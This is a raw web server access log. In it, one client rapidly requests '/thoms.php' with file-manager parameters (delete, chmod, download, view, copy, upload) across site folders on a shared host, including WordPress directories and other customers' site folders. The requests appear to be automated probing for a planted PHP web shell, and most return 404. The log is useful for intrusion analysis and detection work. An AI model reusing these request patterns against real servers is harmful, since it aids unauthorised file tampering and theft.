45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /broadweb.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /broadweb.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 702 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /broadweb.com.tw/.well-known/ HTTP/1.1" 200 781 "https://163.245.207.76:443/broadweb.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:47 -0400] "GET /thoms.php?del=acme-challenge&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?chmod=acme-challenge&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?dl=admin.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?chmod=license.txt&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?del=cjfuns.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /broadweb.com.tw/worker-profile/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?del=admin.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:48 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?del=license.txt&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Flicense.txt&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Flicense.txt&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile/index.php HTTP/1.1" 200 6369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?dl=cjfuns.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?dl=license.txt&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?dl=profile.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Findex.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Findex.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&view=cjfuns.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?chmod=cjfuns.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?del=profile.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/worker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fcjfuns.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fcjfuns.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile/ HTTP/1.1" 200 6328 "https://163.245.207.76:443/broadweb.com.tw/worker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile/cjfuns.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /broadweb.com.tw/worker-profile/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fprofile.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fprofile.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fworker-profile&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:49 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fadmin.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile%2Fadmin.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-mail.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:50 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-trackback.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:51 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
